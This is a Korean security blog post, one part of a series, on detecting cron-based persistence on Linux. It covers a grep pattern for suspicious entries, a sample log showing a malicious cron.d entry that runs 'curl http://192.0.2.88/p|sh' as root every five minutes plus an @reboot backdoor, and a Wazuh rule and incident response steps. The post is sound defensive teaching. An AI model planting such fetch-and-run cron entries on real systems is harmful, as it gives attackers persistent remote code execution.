269. 프로세스·지속성 — cron 기반 지속성 탐지

changseop lee·2026년 10월 7일

시스템 보안 · 취약점

목록 보기
269/450

시스템 보안 · 취약점 › F. 비정상 프로세스 · 지속성 징후 · 19/50편 (전체 269/450)
학습 단계: 지속성(persistence) 메커니즘
실습 표기: 이 글의 명령어·출력·로그는 로컬 VMware 테스트 VM(Rocky Linux 9 / Ubuntu 22.04) 기준의 「실습 예시」이며, IP·계정·호스트명은 가상의 값입니다.

선행 학습

1. 개념

3단계는 지속성 메커니즘을 다룹니다. 첫 번째는 cron입니다. cron은 주기적 자동 실행을 제공해, Linux에서 가장 흔한 지속성 기법입니다. 공격자는 cron에 악성 명령을 등록해 반복 기동·재부팅 후 복구를 확보합니다.

cron 지속성 위치
 /etc/crontab              전역 cron
 /etc/cron.d/*             드롭인 cron 파일
 /etc/cron.{hourly,daily}  주기 디렉터리
 /var/spool/cron/<user>    사용자별 crontab
 @reboot                    부팅 시 실행

공격: 악성 명령을 cron에 등록 → 주기·부팅 시 실행

cron 지속성은 등록 위치가 많아(전역·드롭인·사용자·주기 디렉터리) 전수 점검이 필요합니다. D16(cron 권한)과 달리 여기서는 cron 내용 등록을 봅니다.

2. 왜 중요한가

  • cron은 주기 실행을 제공해 악성 코드를 반복 기동하는 가장 흔한 지속성입니다.
  • @reboot는 재부팅 후 자동 복구를 제공합니다.
  • 등록 위치가 많아(전역·드롭인·사용자·주기) 전수 감시·기준선이 필요합니다.

3. 핵심 명령어 / 설정

cron 위치특징위험
/etc/cron.d/드롭인(은닉 쉬움)높음
/etc/crontab전역높음
/var/spool/cron/사용자별높음
@reboot부팅 복구높음
정상 패키지 cron정상정상

4. 실습 (실습 예시)

# cron 지속성 탐지 (분석 방법)
# cron 등록 변경 이벤트(watch)
sudo ausearch -k persist -i --start recent 2>/dev/null | grep -E 'cron' | tail
# 전체 cron 내용에서 의심 패턴(비표준 경로·네트워크·인코딩)
sudo grep -rE '/tmp/|/dev/shm/|curl|wget|nc |base64|@reboot' /etc/cron* /var/spool/cron/ 2>/dev/null

5. 정상 상태

$ (cron 변경) (없음 또는 패키지 설치)
$ (의심 패턴) (없음 — 정상 패키지 cron만)

cron 등록이 패키지·정상 작업뿐이고, 비표준 경로·네트워크·인코딩 패턴이 없는 상태가 정상입니다.

6. 이상 상태

$ (cron 변경)
04:11 auid=www-data /etc/cron.d/0hourly-x (신규)
$ (의심 패턴)
/etc/cron.d/0hourly-x: */5 * * * * root curl http://192.0.2.88/p|sh
/var/spool/cron/root: @reboot /tmp/.x
  • cron.d에 5분마다 다운로드+실행 등록 → 주기 재감염(지속성)
  • @reboot /tmp/.x → 재부팅 후 자동 복구
  • 비표준 경로·네트워크·@reboot cron → 지속성 → 정탐

7. 로그 분석 (분석 방법)

cron 지속성 분석입니다(가상의 예시).

[등록] cron.d/0hourly-x: */5 * * * * curl ...|sh (FIM/watch)
   ↓
[실행] 5분마다 crond → sh → curl|sh (주기 재감염)
   ↓ 계보
cron → sh → curl → python (F05·11)
   ↓
[복구] @reboot /tmp/.x (재부팅 후 부활)
 = 제거해도 주기·부팅 시 재감염
요소해석
*/5 cron5분 주기
curlsh
@reboot부팅 복구
cron→sh 계보실행 흔적

cron 등록(지속성)+주기 실행 계보를 연계해 재감염 구조를 포착합니다.

8. SOC 관제 포인트

  • cron은 주기·부팅 자동 실행을 제공하는 가장 흔한 Linux 지속성입니다.
  • 등록 위치가 많아(전역·드롭인·사용자·@reboot) 전수 점검·기준선이 필요합니다.
  • cron 등록(watch/FIM)+주기 실행 계보(F11)를 연계해 재감염 구조를 포착합니다.

9. 탐지 규칙

<!-- 실습 예시 룰: 적용 전 wazuh-logtest 및 테스트 환경 검증 필요 -->
<group name="local,syssec_f,persistence,">
  <rule id="105180" level="13">
    <if_sid>105060</if_sid>
    <field name="audit.file" type="pcre2">/etc/cron|/var/spool/cron</field>
    <description>cron 지속성 등록·변경(주기·부팅 자동 실행)</description>
    <mitre><id>T1053.003</id></mitre>
  </rule>
</group>

cron 내용(비표준 경로·네트워크·@reboot)은 FIM report_changes로 함께 탐지합니다. 패키지 cron은 기준선 예외로 둡니다.

10. 대응 방법

  1. 초기 확인 — 변경·등록된 cron 위치·내용(명령)·주체를 확인합니다.
  2. 범위 확인 — 비표준 경로·네트워크·@reboot·주기 실행 계보를 확인합니다.
  3. 증거 확보 — cron 등록 이벤트·내용·주기 실행 로그를 보존합니다.
  4. 차단/조치 — cron 지속성 정탐이면 악성 cron 제거·주기 실행 프로세스 종료·기준선 갱신을 진행합니다.
  5. 재발 방지 — cron 전수 감시(watch+FIM) 지속성 탐지를 운영합니다.

11. 핵심 정리

cron 위치위험
cron.d 드롭인은닉 등록
crontab 전역전역 실행
spool/cron사용자별
@reboot부팅 복구
면접 포인트"cron은 가장 흔한 지속성 — 위치 많아 전수 점검, @reboot는 부팅 복구"

12. 다음 편 예고

다음 편 270. 프로세스·지속성 — systemd 서비스·타이머 지속성 탐지 에서는 systemd 서비스·타이머 지속성을 다루는 systemd 서비스·타이머 지속성 탐지를 다룹니다.


이전 편: 268. 프로세스·지속성 — 비정상 프로세스 징후 종합 분석
📚 시리즈 전체 보기: 시스템 보안 · 취약점

profile
코드에 숨겨진 위협을 읽고 AI로 보안의 미래를 설계합니다. 프론트엔드 개발 경험을 자산 삼아 더 견고하고 지능적인 보안 운영 시스템을 구축해 나가는 과정을 기록합니다

0개의 댓글